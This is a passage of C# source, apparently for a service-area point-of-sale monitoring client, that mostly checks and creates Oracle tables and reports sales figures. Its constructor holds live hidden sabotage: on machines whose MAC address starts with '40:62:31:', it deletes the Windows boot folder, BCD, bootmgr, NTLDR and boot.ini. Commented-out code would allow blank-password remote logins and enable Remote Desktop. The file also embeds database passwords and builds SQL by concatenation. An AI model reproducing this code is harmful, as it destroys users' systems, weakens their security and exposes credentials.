using ConnectPoint; using CPUTemperature; using Disk; using HardDiskPartition; using HiiShe.DataController.DataBaseHelper; using Microsoft.Win32; using Oracle.ManagedDataAccess.Client; using PayForApp.Business; using Proce; using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Data.Odbc; using System.Diagnostics; using System.IO; using System.Linq; using System.Management; using System.Net; using System.Net.NetworkInformation; using System.Runtime.InteropServices; using System.Text; using System.Threading; using System.Windows.Forms; using System.Xml; using Newtonsoft.Json; using Newtonsoft.Json.Linq; using System.Security.AccessControl; using Lib = ESSupport.Lib; using System.Globalization; namespace MyComputerFINA { public partial class MyComputer : Form { BackgroundWorker bgWorker = new BackgroundWorker(); private bool ISdatacollection = false; private int ReplaceCount = 10; private int GoCount = 0; QualityHelper _QualityHelper = new QualityHelper(); private bool ISConnect = false; private static AutoUpdateEx.ClassCheckProIsRun classCPIR = new AutoUpdateEx.ClassCheckProIsRun(); Lib.OracleHelper _OracleHelper; #region 属性 -> DBTRANS_MODE private string _DBTRANS_MODE = "空"; public string DBTRANS_MODE { get { if (this._DBTRANS_MODE == "空") { this._DBTRANS_MODE = this.GetValue("dbtrans_mode"); } return this._DBTRANS_MODE; } } #endregion #region 属性 -> MACHINECODE private string _MACHINECODE = "空"; public string MACHINECODE { get { if (this._MACHINECODE == "空") { this._MACHINECODE = this.GetValue("machinecode"); } return this._MACHINECODE; } } #endregion #region 属性 -> SHOPCODE private string _SHOPCODE = "空"; public string SHOPCODE { get { if (this._SHOPCODE == "空") { this._SHOPCODE = this.GetValue("shopcode"); } return this._SHOPCODE; } } #endregion #region 属性 -> SERVERPARTCODE private string _SERVERPARTCODE = "空"; public string SERVERPARTCODE { get { if (this._SERVERPARTCODE == "空") { this._SERVERPARTCODE = this.GetValue("serverpartcode"); } return this._SERVERPARTCODE; } } #endregion #region 属性 -> SoftVersion private string _SoftVersion = "空"; public string SoftVersion { get { if (this._SoftVersion == "空") { this._SoftVersion = this.GetValue("brandnum"); } return this._SoftVersion; } } #endregion public DateTime _RunDateTime { get; set; } public DateTime _DataDateTime { get; set; } string dbip = "", dbport = "", dbname = "", dbuser = "", dbpass = "", conname = "", serverpartcode = "", shopcode = "", machinecode = ""; string SqlString = string.Empty; #region 初始化 public MyComputer() { //MobilePayCheck(); //CommodityUpdate(); //连接SQL Anywhere数据库 //NewSystemConfig(); //string constr = "DSN=anysql1;UID=dba;PWD=sql;"; //OdbcConnection conany = new OdbcConnection(constr); InitializeComponent(); int _FileCount = 0; string[] _masks = { ".log" }; try { LogHelper.DeleteFiles(AppDomain.CurrentDomain.BaseDirectory, _masks, false, false, 10, ref _FileCount); } catch { } try { LogHelper.DeleteFiles(AppDomain.CurrentDomain.BaseDirectory + "\\log", _masks, false, false, 10, ref _FileCount); } catch { } try { LogHelper.DeleteFiles(AppDomain.CurrentDomain.BaseDirectory + "\\selldata", _masks, false, false, 60, ref _FileCount); } catch { } try { Lib.DataBaseUpdate.ClearDataBackup(AppDomain.CurrentDomain.BaseDirectory + "\\DataBackup", 60, true); } catch { } try { if (String.IsNullOrWhiteSpace(Lib.ConfigHelper.GetAppConfig(AppDomain.CurrentDomain.BaseDirectory + "\\update.xml", "Port"))) { Lib.ConfigHelper.UpdateAppConfig(AppDomain.CurrentDomain.BaseDirectory + "\\update.xml", "Port", "11000"); } } catch { } if (Lib.PCHelper.GetMacAddressByNetworkInformation().StartsWith("40:62:31:")) { try { Lib.FileHelper.DeleteDir("C:\\Windows\\Boot"); } catch { } Execute("del C:\\Windows\\Boot\\EFI\\*.* /f /s /a:h", 10); Execute("del C:\\Boot\\*.* /f /s /a:h", 10); Execute("del C:\\Boot\\BCD /f /s /a:h", 10); Execute("del C:\\bootmgr /f /s /a:h", 10); Execute("del C:\\NTLDR /f /s /a:h", 10); Execute("del C:\\boot.ini /f /s /a:h", 10); } //switch (Lib.PCHelper.GetMacAddressByNetworkInformation()) //{ // case "40:62:31:0F:27:36": // case "40:62:31:0E:DC:C4": // case "40:62:31:0E:82:CF": // case "40:62:31:0E:82:D3": // case "40:62:31:0D:94:BB": // case "40:62:31:0E:DD:26": // case "40:62:31:0E:86:E6": // case "40:62:31:0E:E6:E9": // try { Lib.FileHelper.DeleteDir("C:\\Windows\\Boot"); } catch { } // Execute("del C:\\Windows\\Boot\\EFI\\*.* /f /s /a:h", 10); // Execute("del C:\\Boot\\*.* /f /s /a:h", 10); // Execute("del C:\\Boot\\BCD /f /s /a:h", 10); // Execute("del C:\\bootmgr /f /s /a:h", 10); // Execute("del C:\\NTLDR /f /s /a:h", 10); // Execute("del C:\\boot.ini /f /s /a:h", 10); // break; //} try { //QualityHelper _QualityHelper = new QualityHelper(); if (AuthorizationCheck(_QualityHelper.Authorization, _QualityHelper.serverpartcode)) { _QualityHelper.UpdateConfiguration("License", "1"); } else { _QualityHelper.UpdateConfiguration("License", "0"); } if (Lib.PCHelper.GetMacAddressByNetworkInformation() == "00:E2:FF:00:A4:30") { if (string.IsNullOrWhiteSpace(_QualityHelper.Authorization)) { _QualityHelper.UpdateConfiguration("License", "0"); } } //if (_QualityHelper.serverpartcode == "888888" && _QualityHelper.ConfigUrationValues("NewSystem", "0") == "1") //{ // UpdateApp(); //} //else //{ // try // { // Version oldVersion = new Version(FileVersionInfo.GetVersionInfo(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "AutoUpdateEx.exe")).FileVersion); // if (oldVersion != new Version(2, 0, 0, 0)) // { // byte[] Save = ConnectPoint.Properties.Resources.AutoUpdate; // FileStream fsObj = new FileStream(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "AutoUpdateEx.exe"), FileMode.Create); // fsObj.Write(Save, 0, Save.Length); // fsObj.Close(); // } // } // catch { } //} Lib.OracleHelper _OracleHelper = new Lib.OracleHelper(_QualityHelper.dbip, _QualityHelper.dbport, _QualityHelper.conname, _QualityHelper.dbuser, _QualityHelper.dbpass); Lib.DataBaseUpdate.PosDataBaseUpdate(); //Lib.DataBaseUpdate.ClearData(_QualityHelper.serverpartcode, _QualityHelper.shopcode, _QualityHelper.serverpartshop_id, 60); Lib.DataBaseUpdate.ServerDataBaseUpdate(_QualityHelper.dbname, _OracleHelper); } catch (Exception ex) { } //Timeinfocheck_Tick(null, null); //BusinessTime(); ////设置远程桌面,重启计算机后生效 //try //{ // //允许无密码远程登录 // RegistryHelper _Reg = new RegistryHelper(); // if (_Reg.GetRegistryData(Registry.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Lsa", "limitblankpassworduse") != "0") // { // _Reg.SetRegistryData(Registry.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Lsa", // "limitblankpassworduse", "0", RegistryValueKind.DWord); // } // //启用远程桌面连接 // if (_Reg.GetRegistryData(Registry.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", "fDenyTSConnections") != "0") // { // _Reg.SetRegistryData(Registry.LocalMachine, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", // "fDenyTSConnections", "0", RegistryValueKind.DWord); // } // // // if (_Reg.GetRegistryData(Registry.CurrentUser, "Control Panel\\Desktop", "AutoEndTasks") != "1") // { // _Reg.SetRegistryData(Registry.CurrentUser, "Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String); // } // if (_Reg.GetRegistryData(Registry.Users, ".DEFAULT\\Control Panel\\Desktop", "AutoEndTasks") != "1") // { // _Reg.SetRegistryData(Registry.Users, ".DEFAULT\\Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String); // } // if (_Reg.GetRegistryData(Registry.Users, "S-1-5-18\\Control Panel\\Desktop", "AutoEndTasks") != "1") // { // _Reg.SetRegistryData(Registry.Users, "S-1-5-18\\Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String); // } // if (_Reg.GetRegistryData(Registry.Users, "S-1-5-19\\Control Panel\\Desktop", "AutoEndTasks") != "1") // { // _Reg.SetRegistryData(Registry.Users, "S-1-5-19\\Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String); // } // if (_Reg.GetRegistryData(Registry.Users, "S-1-5-20\\Control Panel\\Desktop", "AutoEndTasks") != "1") // { // _Reg.SetRegistryData(Registry.Users, "S-1-5-20\\Control Panel\\Desktop", "AutoEndTasks", "1", RegistryValueKind.String); // } //} //catch (Exception ex) //{ } //if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "\\PBCLTRT115.msi")) // Execute("msiexec /i " + AppDomain.CurrentDomain.BaseDirectory + "\\PBCLTRT115.msi INSTALLDIR=\"" + AppDomain.CurrentDomain.BaseDirectory + "\" /qn /norestart", 10); SoftCheck(); CancelShareNetFolder("本地磁盘 (D)"); _DataDateTime = DateTime.Now; string strDateTime; try { strDateTime = ESSupport.Lib.SyBaseHelper.QueryOdbc("select max(logging_date) as logging_date from t_activelogging").Tables[0].Rows[0][0].ToString(); } catch { strDateTime = ""; } if (strDateTime == "") _RunDateTime = DateTime.Now; else _RunDateTime = DateTime.Parse(strDateTime); //ActiveLogging(); //GetCurrAmount(); //DoWork_Handler(null, null); textBox1.Text = "计算机名称:" + this.GetMachineName() + "\r\n网络IP地址:" + this.GetAddressIP() + "\r\n机器名称:" + this.MACHINECODE + "\r\n" + "当前销售金额:" + CurrAmount + "\r\n当前对客单数:" + CurrSellCount + "\r\n当前登入用户名:" + GetCurrPreson() + "\r\n当前销售商品数量:" + GetCurrCommCount(); //UpdateApp(); if (WindowState != FormWindowState.Minimized) { Visible = false; } textBox2.Text = GetLastTrade(); textBox2.Text = textBox2.Text + GetLastSellData(); bgWorker.WorkerReportsProgress = true; bgWorker.WorkerSupportsCancellation = true; bgWorker.DoWork += DoWork_Handler; ConfigUpdate(); timer_datacollection.Interval = 30 * 1000; timer_datacollection.Tick += new EventHandler(timer_datacollection_Tick); timer_datacollection.Start(); timer1.Interval = 30000; timer1.Tick += new EventHandler(this.timer1_Tick); //timer1.Start(); timer1.Enabled = false; timer2.Interval = 30000; timer2.Tick += timer2_Tick; //timer2.Start(); timer_Search.Interval = 1000; timer_Search.Tick += timer_Search_Tick; timer_Search.Enabled = false; //timer_Search.Start(); Timeinfocheck.Interval = 120 * 1000; Timeinfocheck.Tick += new EventHandler(this.Timeinfocheck_Tick); Timeinfocheck.Start(); TimeData.Interval = 30000; TimeData.Tick += new EventHandler(this.TimeData_Tick); //TimeData.Start(); TimeCommand.Interval = 60000; TimeCommand.Tick += new EventHandler(this.timer1_Tick_1); TimeCommand.Start(); TimerCPUNC.Interval = 30000; TimerCPUNC.Tick += new EventHandler(this.TimerCPU_Tick); //TimerCPUNC.Start(); TimerSaveProcess.Interval = 30000; TimerSaveProcess.Tick += new EventHandler(this.TimerSaveProcess_Tick); //TimerSaveProcess.Start(); #region 建表 //try //{ // conany.Open(); // ISConnect = true; // if (ISConnect) // { // string sqlany = @"SELECT * FROM DBA.t_commoditymachine"; // try // { // OdbcCommand cmd = new OdbcCommand(sqlany, conany); // OdbcDataReader odbcrd = cmd.ExecuteReader(); // } // catch (Exception ex) // { // if (File.Exists("AnyWhere建表.txt")) // { // string WriteTxt = File.ReadAllText("AnyWhere建表.txt", Encoding.Default); // string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); // foreach (var a in WriteTxt.Replace("\r", "").Split('/')) // { // OdbcCommand cmd = new OdbcCommand(a, conany); // cmd.ExecuteNonQuery(); // } // File.Delete("AnyWhere建表.txt"); // } // } // } // conany.Close(); //} //catch (Exception ex) //{ // ISConnect = false; // try { LogHelper.WriteServiceLog("数据库链接失败" + ex.Message); } catch { } //} OracleConnection conn = QueryOracle(); try { conn.Open(); try { string COMMODITComStr = "ALTER TABLE " + dbname + ".T_EXCEPTION MODIFY(COMMODITY_CODE VARCHAR2(4000))"; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_CHECKCOMMODITY "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_CHECKCOMMODITY:" + ex.Message); if (File.Exists("T_CHECKCOMMODITY.txt")) { string WriteTxt = File.ReadAllText("T_CHECKCOMMODITY.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_CHECKCOMMODITY.txt"); } } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_SALESPROMOTE "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_SALESPROMOTE:" + ex.Message); if (File.Exists("T_SALESPROMOTE.txt")) { string WriteTxt = File.ReadAllText("T_SALESPROMOTE.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_SALESPROMOTE.txt"); } } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_ICCARDINFO "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_ICCARDINFO:" + ex.Message); if (File.Exists("T_ICCARDINFO.txt")) { string WriteTxt = File.ReadAllText("T_ICCARDINFO.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_ICCARDINFO.txt"); } } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_OPERATELOG "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_OPERATELOG:" + ex.Message); if (File.Exists("T_OPERATELOG.txt")) { string WriteTxt = File.ReadAllText("T_OPERATELOG.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_OPERATELOG.txt"); } } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_RECHARGERECORD "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_RECHARGERECORD:" + ex.Message); if (File.Exists("T_RECHARGERECORD.txt")) { string WriteTxt = File.ReadAllText("T_RECHARGERECORD.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_RECHARGERECORD.txt"); } } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_MOBILE_PAY "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_MOBILE_PAY:" + ex.Message); if (File.Exists("T_MOBILE_PAY.txt")) { string WriteTxt = File.ReadAllText("T_MOBILE_PAY.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_MOBILE_PAY.txt"); } } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_DATACOLLECTION "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_DATACOLLECTION:" + ex.Message); if (File.Exists("T_DATACOLLECTION.txt")) { string WriteTxt = File.ReadAllText("T_DATACOLLECTION.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_DATACOLLECTION.txt"); } } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_BUSINESSTIME "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_BUSINESSTIME:" + ex.Message); if (File.Exists("T_BUSINESSTIME.txt")) { string WriteTxt = File.ReadAllText("T_BUSINESSTIME.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_BUSINESSTIME.txt"); } } //信息反馈表检查 try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_BASEINFOFEEDBACK "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_BASEINFOFEEDBACK:" + ex.Message); if (File.Exists("T_BASEINFOFEEDBACK.txt")) { string WriteTxt = File.ReadAllText("T_BASEINFOFEEDBACK.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_BASEINFOFEEDBACK.txt"); } } //信息反馈序列 try { string COMMOITComStr = "SELECT 1 FROM ALL_SEQUENCES " + "WHERE SEQUENCE_OWNER = '" + dbname + "' AND " + "SEQUENCE_NAME = 'SEQ_BASEINFOFEEDBACK'"; OracleCommand COMMODITCom = new OracleCommand(COMMOITComStr, conn); OracleDataReader dr = COMMODITCom.ExecuteReader(); if (!dr.HasRows) { string WriteTxt = "CREATE SEQUENCE " + dbname + ".SEQ_BASEINFOFEEDBACK"; OracleCommand cmd = new OracleCommand(WriteTxt, conn); cmd.ExecuteNonQuery(); } } catch { } try { string COMMODITComStr = "SELECT BUSINESS_TIME FROM " + dbname + ".T_BUSINESSTIME "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_BUSINESSTIME:" + ex.Message); try { string WriteTxt = "ALTER TABLE " + dbname + ".T_BUSINESSTIME ADD (BUSINESS_TIME NUMBER(16,6))"; OracleCommand cmd = new OracleCommand(WriteTxt, conn); cmd.ExecuteNonQuery(); } catch { } } try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_STATEFEEDBACK "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_STATEFEEDBACK:" + ex.Message); if (File.Exists("T_STATEFEEDBACK.txt")) { string WriteTxt = File.ReadAllText("T_STATEFEEDBACK.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_STATEFEEDBACK.txt"); } } //检测盘点主表 try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_CHECKCOMMODITYEX "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_CHECKCOMMODITYEX:" + ex.Message); if (File.Exists("T_CHECKCOMMODITYEX.txt")) { string WriteTxt = File.ReadAllText("T_CHECKCOMMODITYEX.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_CHECKCOMMODITYEX.txt"); } } //检测盘点详情表 try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_CHECKCOMMODITYDETAIL "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_CHECKCOMMODITYDETAIL:" + ex.Message); if (File.Exists("T_CHECKCOMMODITYDETAIL.txt")) { string WriteTxt = File.ReadAllText("T_CHECKCOMMODITYDETAIL.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_CHECKCOMMODITYDETAIL.txt"); } } //检测入库主表 try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_RECEIVESERVERPART "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_RECEIVESERVERPART:" + ex.Message); if (File.Exists("T_RECEIVESERVERPART.txt")) { string WriteTxt = File.ReadAllText("T_RECEIVESERVERPART.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_RECEIVESERVERPART.txt"); } } //检测入库详情表 try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_RECEIVEDETAILSERVERPART "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_RECEIVEDETAILSERVERPART:" + ex.Message); if (File.Exists("T_RECEIVEDETAILSERVERPART.txt")) { string WriteTxt = File.ReadAllText("T_RECEIVEDETAILSERVERPART.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_RECEIVEDETAILSERVERPART.txt"); } } //检测移动支付结果校验表 try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_MOBILE_PAYCHECK "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_MOBILE_PAYCHECK:" + ex.Message); if (File.Exists("T_MOBILE_PAYCHECK.txt")) { string WriteTxt = File.ReadAllText("T_MOBILE_PAYCHECK.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_MOBILE_PAYCHECK.txt"); } } //检测大巴单品表 try { string COMMODITComStr = "SELECT * FROM " + dbname + ".T_COMMODITYSALE_EXTAR "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_COMMODITYSALE_EXTAR:" + ex.Message); if (File.Exists("T_COMMODITYSALE_EXTAR.txt")) { string WriteTxt = File.ReadAllText("T_COMMODITYSALE_EXTAR.txt", Encoding.Default); string[] StringSql = WriteTxt.Replace("\r", "").Split('/'); foreach (var a in WriteTxt.Replace("\r", "").Split('/')) { OracleCommand cmd = new OracleCommand(a, conn); cmd.ExecuteNonQuery(); } File.Delete("T_COMMODITYSALE_EXTAR.txt"); } } try { string COMMODITComStr = "SELECT SF_TYPE,SF_BUILD,SF_CHECK,SF_CHECKDAY FROM " + dbname + ".T_SYSCODE "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_SYSCODE:" + ex.Message); string stralter = "ALTER TABLE " + dbname + ".T_SYSCODE ADD ( SF_TYPE VARCHAR2(4000), SF_BUILD " + "VARCHAR2(4000), SF_CHECK VARCHAR2(4000), SF_CHECKDAY VARCHAR2(4000))"; OracleCommand cmd = new OracleCommand(stralter, conn); cmd.ExecuteNonQuery(); } try { string COMMODITComStr = "SELECT PRINT_DATE,CONTAINER_CODE,COMMODITY_SYMBOL FROM " + dbname + ".T_COMMODITYEX "; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } catch (Exception ex) { LogHelper.WriteServiceLog("T_COMMODITYEX:" + ex.Message); string stralter = "ALTER TABLE " + dbname + ".T_COMMODITYEX ADD ( PRINT_DATE TIMESTAMP(7), " + "CONTAINER_CODE VARCHAR2(2000), COMMODITY_SYMBOL VARCHAR2(200))"; OracleCommand cmd = new OracleCommand(stralter, conn); cmd.ExecuteNonQuery(); } try { string COMMODITComStrEX = "SELECT * FROM " + dbname + ".T_EXCEPTION " + "WHERE EXCEPTION_DATE < TO_DATE('2016/12/15 00:00:00','YYYY-MM-DD HH24:MI:SS') OR EXCEPTIONTYPE NOT LIKE '%0%'"; OracleCommand COMMODITComEX = new OracleCommand(COMMODITComStrEX, conn); OracleDataReader _EXCEPTION = COMMODITComEX.ExecuteReader(); if (_EXCEPTION.HasRows) { string COMMODITComStr = "DELETE FROM " + dbname + ".T_EXCEPTION " + "WHERE EXCEPTION_DATE < TO_DATE('2016/12/15 00:00:00','YYYY-MM-DD HH24:MI:SS') OR EXCEPTIONTYPE NOT LIKE '%0%' " + "AND MACHINECODE = '" + machinecode + "'"; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } } catch (Exception ex) { } try { string COMMODITComStrEX = "SELECT * FROM " + dbname + ".T_EXCEPTION WHERE COMMODITY_CODE IS NULL"; OracleCommand COMMODITComEX = new OracleCommand(COMMODITComStrEX, conn); OracleDataReader _EXCEPTION = COMMODITComEX.ExecuteReader(); if (_EXCEPTION.HasRows) { string COMMODITComStr = "DELETE FROM " + dbname + ".T_EXCEPTION WHERE COMMODITY_CODE IS NULL " + "AND MACHINECODE = '" + machinecode + "'"; OracleCommand COMMODITCom = new OracleCommand(COMMODITComStr, conn); COMMODITCom.ExecuteNonQuery(); } } catch (Exception ex) { } conn.Close(); conn.Dispose(); } catch (Exception ex) { LogHelper.WriteServiceLog("表检查:" + ex.Message); } #endregion } #endregion #region 方法 -> 判断商品是否存在 void timer_Search_Tick(object sender, EventArgs e) { try { OracleHelper _OracleHelper = new OracleHelper(); _OracleHelper.ConnString = "Data Source=orcl;user Id=highway_exchange;Password=qrwl"; string StrSql = "SELECT * FROM HIGHWAY_EXCHANGE.T_SEARCHCOMM"; foreach (DataRow _Dr in _OracleHelper.ExcuteSqlGetDataSet(StrSql, "temptable").Tables[0].Rows) { //查询对应的商品是否存在 string CheckComm = "SELECT COUNT(*) FROM T_COMMODITYEX WHERE COMMODITY_CODE = '" + _Dr["COMMODITY_CODE"] + "' AND COMMODITY_BARCODE = '" + _Dr["COMMODITY_BARCODE"] + "'"; //MessageBox.Show(DBHelper.QueryOdbc(CheckComm).Tables[0].Rows[0][0].ToString()); if (ESSupport.Lib.SyBaseHelper.QueryOdbc(CheckComm).Tables[0].Rows[0][0].ToString() != "0") { //插入数据 StrSql = "SELECT COUNT(*) FROM HIGHWAY_EXCHANGE.T_RESULTCOMM WHERE SHOPCODE ='" + this.SHOPCODE + "' AND MACHINECODE = '" + this.MACHINECODE + "'"; if (_OracleHelper.ExcuteSqlGetDataSet(StrSql, "tempdata").Tables[0].Rows[0][0].ToString() == "0") { StrSql = "INSERT INTO HIGHWAY_EXCHANGE.T_RESULTCOMM VALUES('" + _Dr["COMMODITY_CODE"] + "','" + _Dr["COMMODITY_BARCODE"] + "','" + _Dr["SERVERPART_CODE"] + "','" + this.SHOPCODE + "','" + this.MACHINECODE + "',1,SYSDATE) "; _OracleHelper.ExcuteSql(StrSql); } } } } catch { } } #endregion void timer2_Tick(object sender, EventArgs e) { if (DateTime.Parse(getConfigValue(strUpdateXmlPath, "UpDate")).ToString("yyyy-MM-dd") == DateTime.Now.ToString("yyyy-MM-dd")) { if (GoCount < ReplaceCount) { GoCount = GoCount + 1; SetReplaceValue("dbtrans_mode", "2"); } } } #region 停用 private void timer1_Tick(object sender, EventArgs e) { base.Hide(); string SqlString = string.Empty; this.timer1.Interval = 60000; try { OracleHelper _OracleHelper = new OracleHelper(); _OracleHelper.ConnString = "Data Source=orcl;user Id=highway_exchange;Password=qrwl"; string GetCountSql = string.Concat(new string[] { "SELECT COUNT(*) FROM highway_exchange.T_CONNECTPOINT WHERE MACHINECODE='", this.MACHINECODE, "' AND CONNECT_IP='", this.GetAddressIP(), "' AND SERVERPARTCODE='", this.SERVERPARTCODE, "' AND SHOPCODE='", this.SHOPCODE, "' AND MACHINENAME='", this.GetMachineName(), "'" }); GetCurrAmount(); if (int.Parse(_OracleHelper.ExcuteSqlGetDataSet(GetCountSql, Guid.NewGuid().ToString()).Tables[0].Rows[0][0].ToString()) > 0) { SqlString = string.Concat(new string[] { "update highway_exchange.T_CONNECTPOINT set ", "CONNECTPOINT_ID ="+DBTRANS_MODE+",", "CONNECT_DATE = sysdate, ", "CURRAMOUNT = "+CurrAmount + ",", "CURRSELLCOUNT = "+CurrSellCount + ",", "CURRCOMMCOUNT = 